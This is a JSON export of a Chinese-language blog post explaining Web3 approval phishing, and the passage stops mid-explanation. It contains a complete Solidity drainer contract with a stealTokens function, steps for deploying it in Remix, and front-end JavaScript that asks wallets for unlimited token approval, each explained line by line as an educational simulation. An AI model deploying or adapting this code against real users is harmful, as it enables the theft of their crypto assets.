{"id":2733,"date":"2024-08-26T18:14:00","date_gmt":"2024-08-26T10:14:00","guid":{"rendered":"https:\/\/systw.net\/note\/?p=2733"},"modified":"2025-12-07T17:30:42","modified_gmt":"2025-12-07T09:30:42","slug":"web3-phishing","status":"publish","type":"post","link":"https:\/\/systw.net\/note\/archives\/2733","title":{"rendered":"Web3 Phishing"},"content":{"rendered":"\n<p>Web3 \u91e3\u9b5a\u653b\u64ca\u662f\u4e00\u7a2e\u91dd\u5c0d\u5340\u584a\u93c8\u7528\u6236\u7684\u8a50\u9a19\u884c\u70ba\uff0c\u65e8\u5728\u8a98\u9a19\u7528\u6236\u6388\u6b0a\u6216\u8f49\u79fb\u4ed6\u5011\u7684\u52a0\u5bc6\u8cc7\u7522\uff08\u5982\u4ee3\u5e63\u3001NFT\uff09\u7d66\u653b\u64ca\u8005\u3002\u8207\u50b3\u7d71\u7db2\u7d61\u91e3\u9b5a\uff08\u5982\u5047\u5192\u9280\u884c\u7db2\u7ad9\u7aca\u53d6\u5bc6\u78bc\uff09\u985e\u4f3c\uff0cWeb3 \u91e3\u9b5a\u5229\u7528\u7528\u6236\u7684\u4fe1\u4efb\u6216\u758f\u5ffd\uff0c\u4f46\u76ee\u6a19\u662f\u5340\u584a\u93c8\u9322\u5305\u548c\u667a\u80fd\u5408\u7d04\u4ea4\u4e92\u3002\u9019\u7a2e\u653b\u64ca\u4e5f\u53eb\u5340\u584a\u93c8\u91e3\u9b5a\u653b\u64ca\uff08Blockchain Phishing Attack\uff09\u6216\u667a\u80fd\u5408\u7d04\u91e3\u9b5a\uff08Smart Contract Phishing\uff09<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u653b\u64ca\u539f\u7406\u8207\u91e3\u9b5a\u884c\u70ba<\/h3>\n\n\n\n<p>\u5340\u584a\u93c8\u91e3\u9b5a\u653b\u64ca\uff0c\u904b\u4f5c\u65b9\u5f0f\u5982\u4e0b\uff1a<\/p>\n\n\n\n<p><strong>\u90e8\u7f72\u5408\u7d04<\/strong>\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u653b\u64ca\u8005\u90e8\u7f72 <code>Phishing<\/code> \u5408\u7d04\uff0c\u4e26\u6307\u5b9a\u4e00\u500b\u76ee\u6a19 ERC20 \u4ee3\u5e63\u7684\u5408\u7d04\u5730\u5740\uff08\u4f8b\u5982 USDT\uff09\u3002<\/li>\n\n\n\n<li>\u90e8\u7f72\u5f8c\uff0c\u653b\u64ca\u8005\u7684\u5730\u5740\u88ab\u8a18\u9304\u70ba <code>owner<\/code>\u3002<\/li>\n<\/ul>\n\n\n\n<p><strong>\u5236\u505a\u91e3\u9b5a\u7db2\u7ad9\uff1a<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5236\u505a\u4e00\u500b\u5c08\u696d\u8a2d\u8a08\u7684\u9801\u9762\uff0c \u53ef\u4ee5\u8abf\u7528\u76ee\u6a19\u4ee3\u5e63\u5408\u7d04\u7684 <code>approve<\/code> \u51fd\u6578\uff0c\u4e26\u6388\u6b0a <code>Phishing<\/code> \u5408\u7d04\u5f9e\u4ed6\u5011\u7684\u5e33\u6236\u8f49\u79fb\u4ee3\u5e63\u3002<\/li>\n\n\n\n<li>\u9801\u9762\u8a98\u5c0e\u7528\u6236\u9ede\u64ca\u89f8\u767c\u6388\u6b0a\u6309\u9215\u3002<\/li>\n<\/ul>\n\n\n\n<p><strong>\u8a98\u9a19\u53d7\u5bb3\u8005\u6388\u6b0a<\/strong>\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u653b\u64ca\u8005\u901a\u904e\u91e3\u9b5a\u7db2\u7ad9\u3001\u5047\u61c9\u7528\u6216\u5176\u4ed6\u8a50\u9a19\u624b\u6bb5\uff0c\u8a98\u9a19\u53d7\u5bb3\u8005\u9ede\u64ca\u89f8\u767c\u6309\u9215\uff0c\u4e26\u540c\u610f\u5404\u7a2e\u6388\u6b0a<\/li>\n\n\n\n<li>\u4f8b\u5982\uff0c\u53d7\u5bb3\u8005\u53ef\u80fd\u5728\u4e00\u500b\u5047\u7684 DeFi \u7db2\u7ad9\u4e0a\u9ede\u64ca\u300c\u6388\u6b0a\u300d\uff0c\u5be6\u969b\u4e0a\u662f\u6388\u6b0a\u91e3\u9b5a\u5408\u7d04\u53ef\u53d6\u8d70\u5927\u91cf\u4ee3\u5e63\u3002 <\/li>\n<\/ul>\n\n\n\n<p><strong>\u7aca\u53d6\u4ee3\u5e63<\/strong>\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u4e00\u65e6\u53d7\u5bb3\u8005\u6388\u6b0a\u4e86\u8db3\u5920\u7684\u4ee3\u5e63\uff0c\u653b\u64ca\u8005\uff08<code>owner<\/code>\uff09\u53ef\u4ee5\u96a8\u6642\u8abf\u7528 <code>stealTokens<\/code> \u51fd\u6578\uff0c\u6307\u5b9a\u53d7\u5bb3\u8005\u7684\u5730\u5740\u548c\u8981\u7aca\u53d6\u7684\u4ee3\u5e63\u6578\u91cf\u3002<\/li>\n\n\n\n<li>\u5408\u7d04\u6703\u6aa2\u67e5\uff1a\n<ul class=\"wp-block-list\">\n<li>\u8abf\u7528\u8005\u662f\u5426\u70ba <code>owner<\/code>\u3002<\/li>\n\n\n\n<li>\u53d7\u5bb3\u8005\u662f\u5426\u5df2\u6388\u6b0a\u8db3\u5920\u7684\u4ee3\u5e63\uff08\u901a\u904e <code>allowance<\/code>\uff09\u3002<\/li>\n\n\n\n<li>\u4ee3\u5e63\u8f49\u79fb\u662f\u5426\u6210\u529f\uff08\u901a\u904e <code>transferFrom<\/code>\uff09\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>\u5982\u679c\u689d\u4ef6\u90fd\u6eff\u8db3\uff0c\u4ee3\u5e63\u6703\u5f9e\u53d7\u5bb3\u8005\u7684\u5e33\u6236\u8f49\u5230\u653b\u64ca\u8005\u7684\u5730\u5740\u3002<\/li>\n<\/ul>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u653b\u64ca\u5408\u7d04<\/h2>\n\n\n\n<p>\u9019\u6bb5\u7a0b\u5f0f\u78bc\u5b9a\u7fa9\u4e86\u4e00\u500b\u540d\u70ba <code>Phishing<\/code> \u7684\u667a\u80fd\u5408\u7d04\uff0c\u57fa\u65bc\u4ee5\u592a\u574a\u5340\u584a\u93c8\uff0c\u4f7f\u7528 Solidity \u8a9e\u8a00\u7de8\u5beb\u3002\u5b83\u7684\u76ee\u7684\u662f\u6a21\u64ec\u4e00\u500b\u60e1\u610f\u884c\u70ba\uff1a\u5f9e\u53d7\u5bb3\u8005\u7684\u5e33\u6236\u4e2d\u7aca\u53d6 ERC20 \u4ee3\u5e63\u3002\u4ee5\u4e0b\u662f\u5408\u7d04\u7684\u4e3b\u8981\u529f\u80fd\u548c\u7d50\u69cb\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u5408\u7d04\u540d\u7a31<\/strong>\uff1a<code>Phishing<\/code><\/li>\n\n\n\n<li><strong>\u76ee\u7684<\/strong>\uff1a\u901a\u904e <code>stealTokens<\/code> \u51fd\u6578\uff0c\u5f9e\u53d7\u5bb3\u8005\u7684\u5e33\u6236\u4e2d\u8f49\u79fb ERC20 \u4ee3\u5e63\u5230\u5408\u7d04\u64c1\u6709\u8005\u7684\u5730\u5740\u3002<\/li>\n\n\n\n<li><strong>\u4f7f\u7528\u7684\u6a19\u6e96<\/strong>\uff1a\u4f9d\u8cf4 OpenZeppelin \u7684 ERC20 \u5408\u7d04\u63a5\u53e3\uff0c\u8655\u7406\u6a19\u6e96\u7684 ERC20 \u4ee3\u5e63\uff08\u5982 USDT\u3001DAI \u7b49\uff09\u3002<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ SPDX-License-Identifier: MIT\npragma solidity ^0.8.25;\nimport \"@openzeppelin\/contracts\/token\/ERC20\/ERC20.sol\";\n\ncontract Phishing {\n    address public owner;\n    IERC20 public token;\n\n    constructor(address _tokenAddress) {\n        owner = msg.sender;\n        token = IERC20(_tokenAddress);\n    }\n\n    function stealTokens(address victim, uint256 amount) external {\n        require(msg.sender == owner, \"Only owner can steal tokens\");\n        require(token.allowance(victim, address(this)) &gt;= amount, \"Not enough allowance\");\n        require(token.transferFrom(victim, owner, amount), \"Transfer failed\");\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u7a0b\u5f0f\u78bc\u9010\u884c\u89e3\u6790\u5982\u4e0b<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>\u5408\u7d04\u982d\u90e8<\/strong><\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ SPDX-License-Identifier: MIT\npragma solidity ^0.8.25;\nimport \"@openzeppelin\/contracts\/token\/ERC20\/ERC20.sol\";<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong><code>SPDX-License-Identifier: MIT<\/code><\/strong>\uff1a\u9019\u662f\u7a0b\u5f0f\u78bc\u7684\u8a31\u53ef\u8b49\u8072\u660e\uff0c\u8868\u793a\u8a72\u5408\u7d04\u4f7f\u7528 MIT \u8a31\u53ef\u8b49\uff0c\u5141\u8a31\u4ed6\u4eba\u81ea\u7531\u4f7f\u7528\u548c\u4fee\u6539\u7a0b\u5f0f\u78bc\u3002<\/li>\n\n\n\n<li><strong><code>pragma solidity ^0.8.25;<\/code><\/strong>\uff1a\u6307\u5b9a\u5408\u7d04\u4f7f\u7528\u7684 Solidity \u7de8\u8b6f\u5668\u7248\u672c\u70ba 0.8.25 \u6216\u4ee5\u4e0a\uff08\u4f46\u5c0f\u65bc 0.9.0\uff09\uff0c\u78ba\u4fdd\u5408\u7d04\u5728\u517c\u5bb9\u7684\u7de8\u8b6f\u5668\u4e0a\u904b\u884c\u3002<\/li>\n\n\n\n<li><strong><code>import \"@openzeppelin\/contracts\/token\/ERC20\/ERC20.sol\";<\/code><\/strong>\uff1a\u5c0e\u5165 OpenZeppelin \u7684 ERC20 \u5408\u7d04\u63a5\u53e3\uff0c\u5141\u8a31\u9019\u4efd\u5408\u7d04\u8207\u4efb\u4f55\u7b26\u5408 ERC20 \u6a19\u6e96\u7684\u4ee3\u5e63\u4ea4\u4e92\u3002ERC20 \u662f\u4e00\u500b\u5ee3\u6cdb\u4f7f\u7528\u7684\u4ee3\u5e63\u6a19\u6e96\uff0c\u5b9a\u7fa9\u4e86\u4ee3\u5e63\u7684\u8f49\u79fb\u3001\u9918\u984d\u67e5\u8a62\u3001\u6388\u6b0a\u7b49\u529f\u80fd\u3002<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>\u72c0\u614b\u8b8a\u91cf<\/strong><\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>address public owner;\nIERC20 public token;<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong><code>address public owner;<\/code><\/strong>\uff1a\u5b9a\u7fa9\u4e86\u4e00\u500b\u516c\u958b\u7684\u5730\u5740\u8b8a\u91cf <code>owner<\/code>\uff0c\u7528\u4f86\u5132\u5b58\u5408\u7d04\u5275\u5efa\u8005\u7684\u5730\u5740\uff08\u5373\u90e8\u7f72\u5408\u7d04\u7684\u4eba\uff0c\u901a\u5e38\u662f\u653b\u64ca\u8005\uff09\u3002<\/li>\n\n\n\n<li><strong><code>IERC20 public token;<\/code><\/strong>\uff1a\u5b9a\u7fa9\u4e86\u4e00\u500b\u516c\u958b\u7684 ERC20 \u4ee3\u5e63\u63a5\u53e3\u8b8a\u91cf <code>token<\/code>\uff0c\u7528\u4f86\u8207\u7279\u5b9a\u7684 ERC20 \u4ee3\u5e63\u5408\u7d04\u4ea4\u4e92\u3002<code>IERC20<\/code> \u662f OpenZeppelin \u63d0\u4f9b\u7684\u63a5\u53e3\uff0c\u5305\u542b\u4e86\u6a19\u6e96\u7684 ERC20 \u65b9\u6cd5\uff08\u5982 <code>transferFrom<\/code>\u3001<code>allowance<\/code> \u7b49\uff09\u3002<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>\u5efa\u69cb\u51fd\u6578<\/strong><\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>constructor(address _tokenAddress) {\n    owner = msg.sender;\n    token = IERC20(_tokenAddress);\n}<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong><code>constructor(address _tokenAddress)<\/code><\/strong>\uff1a\u9019\u662f\u5408\u7d04\u7684\u5efa\u69cb\u51fd\u6578\uff0c\u5728\u90e8\u7f72\u5408\u7d04\u6642\u57f7\u884c\u4e00\u6b21\u3002<\/li>\n\n\n\n<li><strong><code>owner = msg.sender;<\/code><\/strong>\uff1a\u5c07\u90e8\u7f72\u5408\u7d04\u7684\u5e33\u6236\u5730\u5740\uff08<code>msg.sender<\/code>\uff09\u8a2d\u70ba <code>owner<\/code>\uff0c\u78ba\u4fdd\u53ea\u6709\u9019\u500b\u5730\u5740\u53ef\u4ee5\u8abf\u7528\u67d0\u4e9b\u53d7\u9650\u529f\u80fd\u3002<\/li>\n\n\n\n<li><strong><code>token = IERC20(_tokenAddress);<\/code><\/strong>\uff1a\u5c07\u50b3\u5165\u7684 <code>_tokenAddress<\/code>\uff08\u67d0\u500b ERC20 \u4ee3\u5e63\u5408\u7d04\u7684\u5730\u5740\uff09\u8f49\u63db\u70ba <code>IERC20<\/code> \u63a5\u53e3\uff0c\u5141\u8a31\u5408\u7d04\u8207\u8a72\u4ee3\u5e63\u4ea4\u4e92\u3002\u4f8b\u5982\uff0c<code>_tokenAddress<\/code> \u53ef\u80fd\u662f USDT \u6216 DAI \u7684\u5408\u7d04\u5730\u5740\u3002<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>\u7aca\u53d6\u4ee3\u5e63\u51fd\u6578<\/strong><\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>function stealTokens(address victim, uint256 amount) external {\n    require(msg.sender == owner, \"Only owner can steal tokens\");\n    require(token.allowance(victim, address(this)) &gt;= amount, \"Not enough allowance\");\n    require(token.transferFrom(victim, owner, amount), \"Transfer failed\");\n}<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong><code>function stealTokens(address victim, uint256 amount) external<\/code><\/strong>\uff1a\u9019\u662f\u5408\u7d04\u7684\u6838\u5fc3\u529f\u80fd\uff0c\u5141\u8a31\u5408\u7d04\u64c1\u6709\u8005\u5f9e\u6307\u5b9a\u7684 <code>victim<\/code> \u5730\u5740\u7aca\u53d6\u6307\u5b9a\u6578\u91cf\uff08<code>amount<\/code>\uff09\u7684 ERC20 \u4ee3\u5e63\u3002\n<ul class=\"wp-block-list\">\n<li><strong><code>external<\/code><\/strong>\uff1a\u8868\u793a\u8a72\u51fd\u6578\u53ea\u80fd\u5f9e\u5408\u7d04\u5916\u90e8\u8abf\u7528\uff08\u4f8b\u5982\u901a\u904e\u4ea4\u6613\u6216\u53e6\u4e00\u500b\u5408\u7d04\uff09\u3002<\/li>\n\n\n\n<li><strong><code>address victim<\/code><\/strong>\uff1a\u53d7\u5bb3\u8005\u7684\u5730\u5740\uff0c\u4ee3\u5e63\u5c07\u5f9e\u9019\u500b\u5730\u5740\u8f49\u51fa\u3002<\/li>\n\n\n\n<li><strong><code>uint256 amount<\/code><\/strong>\uff1a\u8981\u8f49\u79fb\u7684\u4ee3\u5e63\u6578\u91cf\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong><code>require(msg.sender == owner, \"Only owner can steal tokens\");<\/code><\/strong>\uff1a\u6aa2\u67e5\u8abf\u7528\u8005\u662f\u5426\u70ba\u5408\u7d04\u7684 <code>owner<\/code>\u3002\u53ea\u6709\u90e8\u7f72\u5408\u7d04\u7684\u4eba\uff08\u5373 <code>owner<\/code>\uff09\u53ef\u4ee5\u57f7\u884c\u9019\u500b\u51fd\u6578\uff0c\u9632\u6b62\u5176\u4ed6\u4eba\u6feb\u7528\u3002<\/li>\n\n\n\n<li><strong><code>require(token.allowance(victim, address(this)) &gt;= amount, \"Not enough allowance\");<\/code><\/strong>\uff1a\u6aa2\u67e5\u53d7\u5bb3\u8005\u662f\u5426\u5df2\u7d93\u6388\u6b0a\uff08<code>approve<\/code>\uff09\u7d66\u9019\u4efd\u5408\u7d04\u8db3\u5920\u7684\u4ee3\u5e63\u6578\u91cf\u3002ERC20 \u4ee3\u5e63\u6709\u4e00\u500b <code>allowance<\/code> \u6a5f\u5236\uff0c\u5141\u8a31\u5e33\u6236 A \u6388\u6b0a\u5e33\u6236 B\uff08\u9019\u88e1\u662f\u5408\u7d04\u5730\u5740\uff09\u5f9e A \u7684\u5e33\u6236\u4e2d\u8f49\u79fb\u4e00\u5b9a\u6578\u91cf\u7684\u4ee3\u5e63\u3002<\/li>\n\n\n\n<li><strong><code>require(token.transferFrom(victim, owner, amount), \"Transfer failed\");<\/code><\/strong>\uff1a\u8abf\u7528 ERC20 \u4ee3\u5e63\u7684 <code>transferFrom<\/code> \u51fd\u6578\uff0c\u5f9e\u53d7\u5bb3\u8005\u7684\u5730\u5740\u8f49\u79fb <code>amount<\/code> \u6578\u91cf\u7684\u4ee3\u5e63\u5230 <code>owner<\/code> \u5730\u5740\u3002\u5982\u679c\u8f49\u79fb\u5931\u6557\uff08\u4f8b\u5982\u9918\u984d\u4e0d\u8db3\uff09\uff0c\u4ea4\u6613\u6703\u56de\u6efe\u4e26\u986f\u793a\u932f\u8aa4\u8a0a\u606f <code>\"Transfer failed\"<\/code>\u3002<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\u90e8\u7f72\u5408\u7d04<\/h3>\n\n\n\n<p>\u7531\u65bc\u667a\u80fd\u5408\u7d04\u6709<code>constructor(address _tokenAddress)<\/code> \uff0c\u56e0\u6b64\u5728Remix\u90e8\u7f72\u5408\u7d04\u6642\uff0c\u8981\u5c07\u4ee3\u5e63\u5408\u7d04\u5730\u5740\u586b\u5165\uff0c\u4f8b\u5982rUSDT\u7684\u5408\u7d04\u5730\u5740<code>0xbd7bA6764f2b0a5CF4E3E1f74A0E925e4DD05e4B<\/code>\u00a0\uff0c\u624d\u53ef\u6210\u529f\u4f48\u7f72<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\u91e3\u9b5a\u524d\u7aefhtml <\/h2>\n\n\n\n<p>\u6a21\u64ec\u5340\u584a\u93c8\u91e3\u9b5a\u653b\u64ca\u7684\u524d\u7aef\u9801\u9762\uff0c\u8207\u4e4b\u524d\u7684 <code>Phishing<\/code> \u667a\u80fd\u5408\u7d04\u642d\u914d\u4f7f\u7528\u3002\u9019\u500b\u9801\u9762\u8a2d\u8a08\u76ee\u7684\u662f\u8a98\u9a19\u7528\u6236\u6388\u6b0a ERC20 \u4ee3\u5e63\uff08\u5728\u9019\u88e1\u662f\u6a21\u64ec\u7684 <code>USDT<\/code> \u4ee3\u5e63\uff09\uff0c\u8b93\u653b\u64ca\u8005\u53ef\u4ee5\u7aca\u53d6\u4ee3\u5e63\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u6574\u9ad4\u529f\u80fd\u6982\u8ff0<\/strong><\/h3>\n\n\n\n<p>\u7bc4\u4f8b <a href=\"https:\/\/raymond0820.github.io\/test\/fishdemobygemini2.html\" target=\"_blank\" rel=\"noopener\">https:\/\/raymond0820.github.io\/test\/fishdemobygemini2.html<\/a><\/p>\n\n\n\n<p>Github\u7db2\u9801\u539f\u59cb\u78bc\uff1a<a href=\"https:\/\/github.com\/Raymond0820\/test\/blob\/master\/fishdemobygemini2.html\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/Raymond0820\/test\/blob\/master\/fishdemobygemini2.html<\/a><\/p>\n\n\n\n<p>\u9019\u6bb5 HTML \u7a0b\u5f0f\u78bc\u5275\u5efa\u4e86\u4e00\u500b\u7c21\u55ae\u7684\u7db2\u9801\uff0c\u6a21\u64ec\u4e00\u500b\u60e1\u610f\u7db2\u7ad9\u7684\u754c\u9762\uff0c\u8a98\u5c0e\u7528\u6236\u9ede\u64ca\u6309\u9215\u4f86\u6388\u6b0a\u4ee3\u5e63\u7d66 <code>Phishing<\/code> \u5408\u7d04\u3002\u6838\u5fc3\u908f\u8f2f\u5982\u4e0b\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u9801\u9762\u7d50\u69cb<\/strong>\uff1a\u4e00\u500b\u7c21\u55ae\u7684 HTML \u9801\u9762\uff0c\u5305\u542b\u8b66\u544a\u6587\u5b57\u3001\u6309\u9215\u548c\u63d0\u793a\u7528\u6236\u6aa2\u67e5\u700f\u89bd\u5668\u63a7\u5236\u53f0\u7684\u8aaa\u660e\u3002<\/li>\n\n\n\n<li><strong>\u6a23\u5f0f<\/strong>\uff1a\u4f7f\u7528 CSS \u6253\u9020\u4e7e\u6de8\u4e14\u5438\u5f15\u4eba\u7684\u754c\u9762\uff0c\u6a21\u64ec\u771f\u5be6\u91e3\u9b5a\u7db2\u7ad9\u7684\u5c08\u696d\u5916\u89c0\u3002<\/li>\n\n\n\n<li><strong>JavaScript \u908f\u8f2f<\/strong>\uff1a\u4f7f\u7528 Ethers.js \u5eab\u8207\u4ee5\u592a\u574a\u5340\u584a\u93c8\u4ea4\u4e92\uff0c\u901a\u904e MetaMask \u9322\u5305\u8b93\u7528\u6236\u6388\u6b0a\u4ee3\u5e63\u7d66\u60e1\u610f\u5408\u7d04\u3002<\/li>\n\n\n\n<li><strong>\u653b\u64ca\u6a21\u64ec<\/strong>\uff1a\u7576\u7528\u6236\u9ede\u64ca\u6309\u9215\u6642\uff0c\u9801\u9762\u6703\u89f8\u767c\u4e00\u500b\u4ea4\u6613\uff0c\u8acb\u6c42\u7528\u6236\u5c0d <code>Phishing<\/code> \u5408\u7d04\u9032\u884c\u7121\u9650\u91cf\u4ee3\u5e63\u6388\u6b0a\uff08<code>approve<\/code>\uff09\u3002<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>JavaScript \u908f\u8f2f\u89e3\u6790<\/strong><\/h3>\n\n\n\n<p>JavaScript \u4f7f\u7528 Ethers.js \u5eab\uff08v6\uff09\u8207\u4ee5\u592a\u574a\u5340\u584a\u93c8\u4ea4\u4e92\uff0c\u6a21\u64ec\u91e3\u9b5a\u7db2\u7ad9\u8a98\u9a19\u7528\u6236\u6388\u6b0a\u4ee3\u5e63\u7684\u904e\u7a0b\u3002\u4ee5\u4e0b\u9010\u6bb5\u89e3\u91cb\uff1a<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>\u5f15\u5165 Ethers.js<\/strong><\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;script src=\"https:\/\/unpkg.com\/ethers@6\/dist\/ethers.umd.min.js\"&gt;&lt;\/script&gt;<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5f9e CDN \u8f09\u5165 Ethers.js v6\uff0c\u9019\u662f\u4e00\u500b\u7528\u65bc\u8207\u4ee5\u592a\u574a\u5340\u584a\u93c8\u4ea4\u4e92\u7684 JavaScript \u5eab\uff0c\u652f\u63f4\u8207\u9322\u5305\uff08\u5982 MetaMask\uff09\u548c\u667a\u80fd\u5408\u7d04\u7684\u4ea4\u4e92\u3002<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>\u5408\u7d04\u5730\u5740\u8207 ABI<\/strong><\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>const PHISHING_CONTRACT_ADDRESS = \"0x5f1caa852a7232336406daf6b13b7f0ee56ace42\";\nconst MUSDT_CONTRACT_ADDRESS = \"0xbd7ba6764f2b0a5cf4e3e1f74a0e925e4dd05e4b\";\n\nconst musdtABI = &#91;\n    {\n        \"inputs\": &#91;\n            { \"internalType\": \"address\", \"name\": \"spender\", \"type\": \"address\" },\n            { \"internalType\": \"uint256\", \"name\": \"amount\", \"type\": \"uint256\" }\n        ],\n        \"name\": \"approve\",\n        \"outputs\": &#91;{ \"internalType\": \"bool\", \"name\": \"\", \"type\": \"bool\" }],\n        \"stateMutability\": \"nonpayable\",\n        \"type\": \"function\"\n    }\n];<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong><code>PHISHING_CONTRACT_ADDRESS<\/code><\/strong>\uff1a\u5047\u8a2d\u7684 <code>Phishing<\/code> \u5408\u7d04\u5730\u5740\uff08\u8207\u4f60\u63d0\u4f9b\u7684 Solidity \u5408\u7d04\u5c0d\u61c9\uff09\u3002\u9019\u662f\u60e1\u610f\u5408\u7d04\u7684\u5730\u5740\uff0c\u7528\u65bc\u63a5\u6536\u7528\u6236\u7684\u4ee3\u5e63\u6388\u6b0a\u3002\u5047\u5982\u525b\u525b\u4f48\u7f72\u5f8c\u5f97\u5230\u653b\u64ca\u5408\u7d04\u5730\u5740\u70ba0x5f1caa852a7232336406daf6b13b7f0ee56ace42 <\/li>\n\n\n\n<li><strong><code>MUSDT_CONTRACT_ADDRESS<\/code><\/strong>\uff1a\u6a21\u64ecUSDT\u4ee3\u5e63\u5408\u7d04\u5730\u5740\u3002<\/li>\n\n\n\n<li><strong><code>musdtABI<\/code><\/strong>\uff1a\u5b9a\u7fa9\u4e86 <code>mUSDT<\/code> \u4ee3\u5e63\u5408\u7d04\u7684 ABI\uff08Application Binary Interface\uff09\uff0c\u50c5\u5305\u542b <code>approve<\/code> \u51fd\u6578\u7684\u63a5\u53e3\u3002ABI \u662f\u8207\u667a\u80fd\u5408\u7d04\u4ea4\u4e92\u7684\u5fc5\u8981\u4fe1\u606f\uff0c\u544a\u8a34 Ethers.js \u5982\u4f55\u8abf\u7528\u5408\u7d04\u7684\u51fd\u6578\u3002<\/li>\n\n\n\n<li><code>approve(address spender, uint256 amount)<\/code>\uff1a\u5141\u8a31 <code>spender<\/code>\uff08\u9019\u88e1\u662f <code>Phishing<\/code> \u5408\u7d04\uff09\u5f9e\u7528\u6236\u5e33\u6236\u8f49\u79fb\u6307\u5b9a\u6578\u91cf\uff08<code>amount<\/code>\uff09\u7684\u4ee3\u5e63\u3002\n<ul class=\"wp-block-list\">\n<li>\u88dc\u5145\u8aaa\u660e\uff1aapprove \u51fd\u6578\u4f86\u81ea <code>MUSDT_CONTRACT_ADDRESS<\/code>\u6307\u5b9a\u7684\u5408\u7d04\uff0c\u800c\u975e \u4e4b\u524dPhishing \u5408\u7d04\uff1a\n<ul class=\"wp-block-list\">\n<li>\u524d\u7aef\u7a0b\u5f0f\u78bc\uff08JavaScript\uff09\u901a\u904e Ethers.js \u8207\u4e00\u500b\u540d\u70ba mUSDT \u7684 ERC20 \u4ee3\u5e63\u5408\u7d04\u4ea4\u4e92\uff08\u5730\u5740\u70ba MUSDT_CONTRACT_ADDRESS\uff09\u3002 <\/li>\n\n\n\n<li>approve \u51fd\u6578\u662f ERC20 \u6a19\u6e96\u7684\u4e00\u90e8\u5206\uff0c\u5e7e\u4e4e\u6240\u6709\u7684 ERC20 \u4ee3\u5e63\u5408\u7d04\uff08\u4f8b\u5982 USDT\u3001DAI \u6216\u4f60\u6a21\u64ec\u7684 mUSDT\uff09\u90fd\u5be6\u73fe\u4e86\u9019\u500b\u51fd\u6578\u3002 <\/li>\n\n\n\n<li> Phishing \u5408\u7d04\u53ea\u9700\u8981\u8207 ERC20 \u4ee3\u5e63\u5408\u7d04\u4ea4\u4e92\uff08\u901a\u904e IERC20 \u63a5\u53e3\uff09\uff0c\u4e26\u4e0d\u9700\u8981\u81ea\u5df1\u5be6\u73fe approve\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>\u8a2d\u7f6e Web3 \u74b0\u5883<\/strong><\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>async function setupWeb3() {\n    if (typeof window.ethereum !== 'undefined') {\n        try {\n            await window.ethereum.request({ method: 'eth_requestAccounts' });\n            const provider = new ethers.BrowserProvider(window.ethereum);\n            const signer = await provider.getSigner();\n            return { provider, signer };\n        } catch (error) {\n            console.error(\"Failed to connect to wallet:\", error);\n            alert(\"Wallet connection failed. Please check MetaMask or browser settings.\");\n            return null;\n        }\n    } else {\n        alert(\"Please install MetaMask wallet!\");\n        return null;\n    }\n}<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong><code>setupWeb3<\/code><\/strong>\uff1a\u9019\u500b\u51fd\u6578\u8ca0\u8cac\u521d\u59cb\u5316\u8207\u5340\u584a\u93c8\u7684\u9023\u63a5\u3002<\/li>\n\n\n\n<li><strong><code>window.ethereum<\/code><\/strong>\uff1a\u6aa2\u67e5\u700f\u89bd\u5668\u662f\u5426\u5b89\u88dd\u4e86 MetaMask\uff08\u6216\u5176\u4ed6\u76f8\u5bb9\u7684\u4ee5\u592a\u574a\u9322\u5305\uff09\u3002<\/li>\n\n\n\n<li><strong><code>eth_requestAccounts<\/code><\/strong>\uff1a\u8acb\u6c42\u7528\u6236\u6388\u6b0a\uff0c\u5141\u8a31\u7db2\u9801\u8a2a\u554f\u5176\u9322\u5305\u5e33\u6236\u3002\u9019\u6703\u5f48\u51fa MetaMask 